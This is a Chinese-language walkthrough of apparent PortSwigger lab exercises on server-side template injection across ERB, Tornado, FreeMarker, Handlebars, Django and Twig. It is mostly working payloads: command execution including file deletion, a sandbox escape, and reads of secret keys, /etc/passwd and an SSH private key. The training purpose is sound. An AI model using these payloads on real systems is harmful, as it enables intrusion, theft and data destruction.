Server-side template injection
基本服务器端模板注入
当点击第一个信息的时候
弹出了一个新的页面
/?message=<@urlencode><%= 7* 7 %><@/urlencode> |
可以发现使用了模板语句 <%= Ruby expression – replace with result %> 可以插入ruby代码 属于erb框架的语句
那么我们尝试使用ruby的 system()方法去执行系统命令
/?message=<@urlencode><%= system('ls') %><@/urlencode> |
/?message=<@urlencode><%= system('rm -rf morale.txt') %><@/urlencode> |
基本服务器端模板注入(代码上下文)
blog-post-author-display=<@urlencode>user.first_name}}{{ 7+7 }}<@/urlencode>&csrf=XTVeW9Vm4gzPc4qy40BxucOBiNzooIvV |
当你发送评论时 就会触发模板语句
blog-post-author-display=<@urlencode>user.first_name}}{% import os %}{{ os.popen('ls').read() }}<@/urlencode>&csrf=CaaZvKrCkWCDHKeIkLT1yr9eXGxrEsD8 |
其中{%%}
用于执行控制结构或者其他的功能 {{}}
用于输出变量或者表达式的值 两者不能混用
blog-post-author-display=<@urlencode>user.first_name}}{% import os %}{{ os.popen('rm -rf morale.txt').read() }}<@/urlencode>&csrf=CaaZvKrCkWCDHKeIkLT1yr9eXGxrEsD8 |
使用文档的服务器端模板注入
先登录
存在一个编辑模板的页面
可以看到存在模板语句
通过执行错误的 模板语句 可以发现使用的是java的Freemarker框架
在Freemarker中可以发现提出了一个问题 我们可以允许用户上传模板吗,有什么安全问题
http://freemarker.foofun.cn/app_faq.html |
并且给我们介绍了一个 new()
这里介绍了 只要实现了 TemplateModel 接口就可以使用这些对象 并且给出了我们new的用法
<#assign word_wrapp = "com.acmee.freemarker.WordWrapperDirective"?new()> |
这里去查看一下 FreeMarker的api文档
从TemplateModel 可以看到所有实现的接口 找到 Execute 可以执行shell
我们尝试构造一下
<#assign exec = "freemarker.template.utility.Execute"?new()> |
exec 为我们创建的对象名
<#assign exec = "freemarker.template.utility.Execute"?new()> |
使用记录在案的利用未知语言的服务器端模板注入
这里推荐一个网站
https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection |
可以看到是 handlebars 的程序
可以直接使用这个网站的payload 也可以去搜索
/?message=unfo<@urlencode>{{#with "s" as |string|}} |
通过用户提供的对象进行信息泄露的服务器端模板注入
发现是django
https://docs.djangoproject.com/zh-hans/4.1/ |
找到这个 可以输出debug 的信息
{% debug %} |
尝试读取 settings.SECRET_KEY
{{ settings.SECRET_KEY }} |
沙盒环境中的服务器端模板注入
这里是 freemarker 框架
尝试用上一关的payload
${product} |
这里发现获取了一个对象
通过查看 java doc 可以尝试绕过
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")} |
最后形成的payload
使用自定义漏洞利用的服务器端模板注入
尝试 发现是php-twig
存在文件上传并且这里可以读取文件内容
尝试上传 txt文件的时候发现出现错误 上传的文件类型不是一个图片 并出现了User->setAvatar() 也可以看到几个源码的路径信息
那么我们如果调用 setAvatar() 是否可以 读取服务器文件呢
blog-post-author-display=user.setAvatar('/etc/passwd','image/jpg')&csrf=Xrbb3fQ7OBRB8fQz7GHdd1zkFTQWi9dU |
先访问文章页面 刷新下图片
/avatar?avatar=wiener |
访问图片获得文件内容
blog-post-author-display=user.setAvatar('/home/carlos/User.php','image/jpg')&csrf=Xrbb3fQ7OBRB8fQz7GHdd1zkFTQWi9dU |
尝试读取源码
成功获取到源码
|
那么这里只需要先给 avatarLink 赋值为想要的文件 接着 调用 gdprDelete() 即可
blog-post-author-display=user.setAvatar('/home/carlos/.ssh/id_rsa','image/jpg')&csrf=W5FwdbuU0HDP3rIqxniI09nlwIqdyM9x |
blog-post-author-display=user.gdprDelete()&csrf=W5FwdbuU0HDP3rIqxniI09nlwIqdyM9x |